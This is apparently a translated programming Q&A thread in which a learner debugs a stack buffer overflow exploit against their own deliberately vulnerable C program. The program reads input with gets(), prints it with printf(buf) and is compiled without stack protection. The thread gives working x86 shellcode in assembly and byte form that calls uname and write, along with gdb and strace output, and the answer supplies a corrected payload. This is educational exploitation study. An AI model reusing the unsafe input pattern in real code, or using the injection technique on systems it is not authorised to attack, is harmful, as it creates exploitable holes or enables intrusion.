缓冲区溢出中的Uname系统调用

时间:2018-12-05 18:46:03

标签: c assembly system-calls buffer-overflow

我正在尝试学习缓冲区溢出的基础知识,因此我编写了以下代码以将其注入缓冲区:

//uname(*buf)
"addl $-390, %esp;" //save space for buffer
"movl %esp, %ebx;"  //ebx point to buffer
"xorl %eax, %eax;"  //erase data in register
"addb $0x7a, %al;"  //syscall number
"int $0x80;"        //raise interruption


//write(fd, *buf, size)
"movb $0x04, %al;"  //syscall number
"xorl %ebx, %ebx;"  //erase data in register
"movb $0x01, %bl;"  //add 1 as file descriptor     
"lea 0x41(%esp), %ecx;"  //get address where hostname is   
"xorl %edx, %edx;"  //erase data in register
"addb $0x05, %dl;"  //set buffer size (as I only want "Kali" string)   
"int $0x80;"        //raise interruption

//exit(0)
"movb   $0x01, %al;"    //syscall number
"xorl %ebx, %ebx;"  //set 0 in register
"int    $0x80;"     //raise interruption

上面的代码有效,并具有以下字节码(也可以):

\x81\xc4\x7a\xfe\xff\xff\x89\xe3\x31\xc0\x04\x7a\xcd\x80\xb0\x04\x31\xdb\xb3\x01\x8d\x4c\x24\x41\x31\xd2\x80\xc2\x05\xcd\x80\xb0\x01\x31\xdb\xcd\x80

该字符串(带有一些NOP和最后指向堆栈的地址)通过易受攻击的 get()函数传递给目标程序。执行后,可以看到在 strace 命令的以下输出中调用了uname syscall:

(...)
uname({sysname="Linux", nodename="kali", ...}) = 0
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=NULL} ---
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault

我不明白的是为什么当检查gdb中的核心转储以查看为什么引发分段错误时,我看不到整个堆栈中任何地方的字节码。难道是uname正在覆盖它?因为理论上有足够的空间(390个字节)。我想念什么吗?

谢谢

更新:

main调用的易受攻击的函数如下所示:

void function() {
    char buf[100];
    gets(buf);
    printf(buf);
}

我已经使用gdb完成了单步调试,并且字节码已正确放置在堆栈中,但是我不能(不知道如何)调试在堆栈中执行的指令。

strace 的输出中可以看到(这表明二进制调用了哪些系统调用),最后要做的是 uname 调用。这就是为什么它会覆盖堆栈中的指令的理论(触发分段错误时的eip为:0xbffff350)。

在返回main之前,这里是堆栈值(实际上,它将返回到堆栈地址的顶部):

(gdb) x/100bx 0xbffff300
0xbffff2f8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff300: 0x90    0x90    0x81    0xc4    0x7a    0xfe    0xff    0xff
0xbffff308: 0x89    0xe3    0x31    0xc0    0x04    0x7a    0xcd    0x80
0xbffff310: 0xb0    0x04    0x31    0xdb    0xb3    0x01    0x8d    0x4c
0xbffff318: 0x24    0x41    0x31    0xd2    0x80    0xc2    0x05    0xcd
0xbffff320: 0x80    0xb0    0x01    0x31    0xdb    0xcd    0x80    0x90
0xbffff328: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90

此外,当运行可执行文件并在gdb中传递字节码(运行

UPDATE2:

  

此外,当运行可执行文件并在gdb中传递字节码(运行

实际上它正在打印某些东西。有时,“ kali”一词(因此可以正常工作),有时只有一两个字节。

UPDATE3:

从核心转储启动时,gdb的输出为:

Program terminated with signal SIGSEGV, Segmentation fault.
#0  0xbffff350 in ?? ()

它调用 uname 函数并引发分段错误。

在内部运行程序时运行gdb的输出(运行

��[Inferior 1 (process 5271) exited normally]

因此它先打印出一些内容,然后退出。

使用以下选项完成程序的编译:

gcc -ggdb -mpreferred-stack-boundary=2 -fno-stack-protector -o program program.c

UPDATE4:

我已将 390 更改为 500 ,使其为4的倍数,就像@Jester在评论中指出的那样。现在它可以在终端上运行,但不能在gdb和新终端上运行。我认为这与以下事实有关:它们具有另一种内存布局,因此必须更改字节码末尾的地址。

问题

1.-当不使用gdb执行易受攻击的程序时,为什么在分析核心转储时触发分段错误以及为什么字节码未显示在堆栈中的任何地方?

2.-当使用gdb执行程序(运行

1 个答案:

答案 0 :(得分:0)

最终的汇编代码如下(仅将-390更改为-500):

//uname(*buf)
"addl $-500, %esp;" //save space for buffer
"movl %esp, %ebx;"  //ebx point to buffer
"xorl %eax, %eax;"  //erase data in register
"addb $0x7a, %al;"  //syscall number
"int $0x80;"        //raise interruption


//write(fd, *buf, size)
"movb $0x04, %al;"  //syscall number
"xorl %ebx, %ebx;"  //erase data in register
"movb $0x01, %bl;"  //add 1 as file descriptor     
"lea 0x41(%esp), %ecx;"  //get address where hostname is   
"xorl %edx, %edx;"  //erase data in register
"addb $0x05, %dl;"  //set buffer size    
"int $0x80;"        //raise interruption

//exit(0)
"movb   $0x01, %al;"    //syscall number
"xorl %ebx, %ebx;"  //set 0 in register
"int    $0x80;"     //raise interruption

最后的字节码:

\x81\xc4\x0c\xfe\xff\xff\x89\xe3\x31\xc0\x04\x7a\xcd\x80\xb0\x04\x31\xdb\xb3\x01\x8d\x4c\x24\x41\x31\xd2\x80\xc2\x05\xcd\x80\xb0\x01\x31\xdb\xcd\x80
  

1.-当不使用gdb执行易受攻击的程序时,为什么在分析核心转储时触发分段错误以及为什么字节码未显示在堆栈中的任何地方?

看来问题390不是4的倍数,所以它引起了一些错误。整个字节码的大小也是错误的。

  

2.-当使用gdb执行程序(运行

gdb中的地址必须不同于通过终端加载程序时使用的地址,因为它加载了环境变量。这是更好的解释:Buffer overflow works in gdb but not without it